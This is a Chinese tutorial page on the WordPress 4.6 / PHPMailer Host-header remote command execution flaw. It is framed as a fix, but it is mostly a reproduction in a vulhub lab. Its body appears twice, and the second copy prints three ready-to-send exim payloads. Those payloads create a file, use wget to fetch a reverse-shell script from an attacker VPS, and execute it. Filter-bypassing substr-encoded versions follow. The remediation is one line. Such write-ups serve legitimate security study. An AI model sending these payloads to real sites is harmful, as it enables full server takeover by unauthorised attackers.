您现在的位置是:首页 > cms教程 > WordPress教程WordPress教程
wordpress 4.6以上版本任意命令执行漏洞的修复方法
如萱2025-03-02WordPress教程已有人查阅
导读漏洞简述当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造
漏洞简述
当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。0x00漏洞影响
WordPress <= 4.6.0
PHPMailer < 5.2.180x01漏洞原理
主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。0x02环境搭建
下载vulhub、docker-compose来一键搭建环境,vulhub链接:https://vulhub.org/#/environments/wordpress/pwnscriptum/0x03漏洞复现
漏洞存在后台登录地方的找回密码页面:http://192.168.1.160/wp-login.php?action=lostpassword
我们输入一个存在的用户,然后获取新密码,bp抓post包
请求包的HOST处的参数值即是该漏洞的payload点。
该漏洞利用需要满足以下几点:
1.执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。
2.该命令将转换为小写字母
3.命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是admin
需要注意:
该命令执行只在服务器端默默执行命令,不会显示在客户端响应界面
payload构造:
1.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
2.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
上面的payload分别转换为:
第一个payload在/tmp下新建1.php
在靶机上看看
命令只会默认执行,而不会在客户端显示出来,那么我们就只能采用反弹shell的方式获取到交互式shell来进行最终控制。
利用第二个payload从自己的外网vps上下载事先写好的反弹shell的脚本到靶机上的/tmp目录下,反弹到的目标为vps上。
发包之后查看靶机上的/tmp目录
看到已经成功下载到了靶机上的/tmp目录下,现在只需利用bash来执行这个shell脚本;
利用第三个payload来执行刚刚下载的反弹命令脚本,执行前需要在vps上进行监听指定端口,这里为7777:
burpsuite只要一发包,vps即可反弹上靶机的shell来
这样才达到了真正的利用该漏洞getshell了。0x04漏洞修复
当然是更新wordpress、phpmailer到较新版本。
当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。0x00漏洞影响
WordPress <= 4.6.0
PHPMailer < 5.2.180x01漏洞原理
主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。0x02环境搭建
下载vulhub、docker-compose来一键搭建环境,vulhub链接:https://vulhub.org/#/environments/wordpress/pwnscriptum/0x03漏洞复现
漏洞存在后台登录地方的找回密码页面:http://192.168.1.160/wp-login.php?action=lostpassword
我们输入一个存在的用户,然后获取新密码,bp抓post包
请求包的HOST处的参数值即是该漏洞的payload点。
该漏洞利用需要满足以下几点:
1.执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。
2.该命令将转换为小写字母
3.命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是admin
需要注意:
该命令执行只在服务器端默默执行命令,不会显示在客户端响应界面
payload构造:
aa(any -froot@localhost -be ${run{/bin/touch /tmp/1.php}} null) //在/tmp下创建一个1.php
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.106.109/bash.sh}} null) //下载反弹命令脚本到/tmp下重命名为shell
aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null) //执行/tmp下的shell脚本
payload转换规则:1.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
2.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
上面的payload分别转换为:
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}1.php}} null)
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.106.109${substr{0}{1}{$spool_directory}}bash.sh}} null)
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
将最终转化的payload分别拿到漏洞点去执行,观察效果第一个payload在/tmp下新建1.php
在靶机上看看
命令只会默认执行,而不会在客户端显示出来,那么我们就只能采用反弹shell的方式获取到交互式shell来进行最终控制。
利用第二个payload从自己的外网vps上下载事先写好的反弹shell的脚本到靶机上的/tmp目录下,反弹到的目标为vps上。
发包之后查看靶机上的/tmp目录
看到已经成功下载到了靶机上的/tmp目录下,现在只需利用bash来执行这个shell脚本;
利用第三个payload来执行刚刚下载的反弹命令脚本,执行前需要在vps上进行监听指定端口,这里为7777:
burpsuite只要一发包,vps即可反弹上靶机的shell来
这样才达到了真正的利用该漏洞getshell了。0x04漏洞修复
当然是更新wordpress、phpmailer到较新版本。
本文标签:
很赞哦! ()
相关教程
图文教程
怎么登陆wordpress后台
怎么登陆wordpress后台1)WordPress程序中哪个文件,负责登录和验证账号?这是WordPress登录后台页面的文件
wordpress可以做企业网站吗
如果想制作网站,一般自己写后台程序的人极少,多数都会选择别人写好的开源CMS作为网站的后台系统,国内的免费开源CMS有很多
wordpress是用什么语言写的
wordpress程序是用PHP语言写成的。WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。
WordPress主题框架对比
使用框架的一个好处之一就是可以创建子主题。 WordPress子主题继承了你所选择父框架的所有功能。它们一般只包含两个文件: style.css、 functions.php以及其它图形文件夹
相关源码
-
(自适应)文案文档作文写作word资源网站模板下载本模板基于PbootCMS系统深度开发,针对电影解说、文案分享类网站的特殊需求设计。采用响应式布局技术,确保在手机端和桌面端都能呈现专业的内容展示效果,帮助运营者高效管理影视解说资源。查看源码 -
(PC+WAP)盆栽绿植观赏植物花卉租赁免费pbootcms网站模板为花卉盆栽租赁、园林绿化企业打造的PbootCMS网站模板,采用较新内核开发,PC与移动端数据实时同步。通过清新自然的视觉设计,精准展现植物养护、花卉展示等业务场景,帮助用户快速建立专业级行业网站。查看源码 -
(自适应)蓄电池能源智能数码科技产品pbootcms模板源码下载本款基于PbootCMS开发的网站模板为蓄电池及能源科技企业设计,特别适合锂电池、储能系统、新能源电池等产品的展示与推广。查看源码 -
(自适应响应式)英文外贸医疗科研耗材设备pbootcms网站模板为医疗设备和外贸企业设计的响应式网站模板,基于PbootCMS系统开发。突出医疗产品认证展示和国际化特性,通过专业化的产品参数展示模块和文档管理系统,满足医疗行业严格的信息披露要求。查看源码 -
(自适应响应式)个人作品技术文章博客网站模板下载基于PbootCMS内核开发的响应式博客模板,为数字营销、技术分享类内容打造。采用前沿设计理念,兼顾内容展示与阅读体验,适配各类终端设备。通过本模板可快速构建专业级行业博客,有效传播专业知识与案例成果。查看源码 -
(自适应响应式)蓝色律师事务所法务团队网站pbootcms模板为律师事务所和法律服务机构打造的专业网站模板,展现法律专业性与权威性,手工编写标准DIV+CSS代码,结构清晰优化,确保高效运行,自动适配电脑、平板和手机等各类设备,提供更好浏览体验查看源码
| 分享笔记 (共有 篇笔记) |

